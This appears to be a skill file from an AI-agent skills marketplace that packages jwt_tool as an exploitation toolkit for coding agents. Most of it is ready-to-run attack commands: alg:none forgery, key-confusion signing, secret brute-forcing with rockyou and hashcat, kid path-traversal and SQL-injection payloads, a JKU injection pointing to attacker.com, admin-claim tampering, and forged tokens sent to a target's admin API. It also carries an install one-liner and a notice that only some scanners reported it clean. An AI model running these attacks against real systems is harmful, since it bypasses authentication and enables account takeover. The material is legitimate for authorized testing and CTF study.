offensive-tools/web/jwt-tool/SKILL.md
Auth/lab ref: broad JWT testing and exploitation toolkit.
npx skillsauth add aeondave/malskill jwt-toolInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
JWT testing suite — alg:none, algorithm confusion, KID injection, JKU/X5U, secret crack.
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool && pip3 install -r requirements.txt
TOKEN="eyJ..."
# Decode and inspect
python3 jwt_tool.py $TOKEN
# Run full automated playbook (test all vulns)
python3 jwt_tool.py $TOKEN -M pb
# Test alg:none
python3 jwt_tool.py $TOKEN -X a
# Brute force secret
python3 jwt_tool.py $TOKEN -C -d /usr/share/wordlists/rockyou.txt
# Algorithm confusion (RS256 → HS256)
python3 jwt_tool.py $TOKEN -X k -pk public.pem
# Interactive tamper (modify claims)
python3 jwt_tool.py $TOKEN -T
| Flag | Purpose |
|------|---------|
| TOKEN | JWT to analyze (positional) |
| -M pb | Playbook mode — automated full audit |
| -X <mode> | Exploit mode (see table) |
| -C | Crack mode — brute force HMAC secret |
| -d <file> | Wordlist for cracking |
| -T | Interactive tamper mode |
| -V | Verify signature |
| -pk <file> | Private or public key file (.pem) |
| -I | Injection mode (modify claims non-interactively) |
| -hc <claim> | Header claim to modify |
| -hv <value> | Header claim value |
| -pc <claim> | Payload claim to modify |
| -pv <value> | Payload claim value |
| -S <alg> | Sign with algorithm: hs256 / rs256 / hs384 etc. |
| -t <url> | Send forged token to target URL |
| -rh <headers> | Request headers for -t |
| -rc <cookies> | Request cookies for -t |
| -cv <value> | Canary value — confirm exploitation success |
-X)| Mode | Flag | Attack |
|------|------|--------|
| a | -X a | alg:none — remove signature requirement |
| k | -X k -pk pub.pem | Key confusion — RS256→HS256 with public key as HMAC secret |
| s | -X s -ju URL | JKU injection — point to attacker-controlled JWKS |
| n | -X n | Null signature — empty signature field |
python3 jwt_tool.py $TOKEN -M pb
# Tests all known attack types automatically
python3 jwt_tool.py $TOKEN -X a
# Also try: set role/admin claim before
python3 jwt_tool.py $TOKEN -X a -I -pc role -pv admin
# Need server's public key (from JWKS endpoint or certificate)
# Get from: https://target.com/.well-known/jwks.json
# Extract PEM with: python3 jwt_tool.py $TOKEN -X k
python3 jwt_tool.py $TOKEN -X k -pk public.pem
# Also escalate privilege:
python3 jwt_tool.py $TOKEN -X k -pk public.pem -I -pc admin -pv true
# Standard wordlist
python3 jwt_tool.py $TOKEN -C -d /usr/share/wordlists/rockyou.txt
# Custom small list (CTF)
python3 jwt_tool.py $TOKEN -C -d ctf_secrets.txt
# Fast alternative with hashcat (GPU)
# Extract: <header>.<payload>.<signature>
echo -n "$TOKEN" | hashcat -a 0 -m 16500 - wordlist.txt
# Path traversal (sign with /dev/null = empty key)
python3 jwt_tool.py $TOKEN -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# Path traversal to known file
python3 jwt_tool.py $TOKEN -I -hc kid -hv "../../etc/passwd" -S hs256 -p "root:x:0:0:..."
# SQL injection in kid
python3 jwt_tool.py $TOKEN -I -hc kid -hv "none' UNION SELECT 'hacked'-- -" -S hs256 -p "hacked"
# Host malicious JWKS at https://attacker.com/.well-known/jwks.json
# jwt_tool auto-generates the JWKS and uses attacker key
python3 jwt_tool.py $TOKEN -X s -ju "https://attacker.com/.well-known/jwks.json"
# Interactive: shows each field, lets you edit
python3 jwt_tool.py $TOKEN -T
# Non-interactive: set specific claim
python3 jwt_tool.py $TOKEN -I -pc sub -pv admin
python3 jwt_tool.py $TOKEN -I -pc role -pv superadmin
python3 jwt_tool.py $TOKEN -I -pc is_admin -pv true
python3 jwt_tool.py $TOKEN -V -pk public.pem
# Test forged token directly
python3 jwt_tool.py $TOKEN -X a \
-t "https://target.com/api/admin" \
-rh "Authorization: Bearer TARGETJWT" \
-cv "admin panel" # confirm success if this string appears
# 1. alg:none
python3 jwt_tool.py $TOKEN -X a
# 2. Common secrets
python3 jwt_tool.py $TOKEN -C -d /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
# 3. Algorithm confusion (if RS256)
python3 jwt_tool.py $TOKEN -X k
# 4. Tamper claims
python3 jwt_tool.py $TOKEN -T
# 5. kid path traversal
python3 jwt_tool.py $TOKEN -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# 6. Full playbook
python3 jwt_tool.py $TOKEN -M pb
| File | When to load |
|------|--------------|
| references/jwt-attacks.md | Algorithm confusion deep-dive, KID SQLi, JKU server setup, claim escalation patterns, CTF tricks |
development
White-box auditing methodology for AI-generated ('vibe-coded') applications. Focuses on modern stack misconfigurations (Supabase, Next.js, Vercel).
development
Hybrid AI/Deterministic SAST methodology for discovering zero-day vulnerabilities in source code. Orchestrates structural search with AI-driven data flow and sink validation.
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.
devops
Container methodology: Identifying containerization limits, Docker/K8s misconfigurations, and executing escapes to the host node.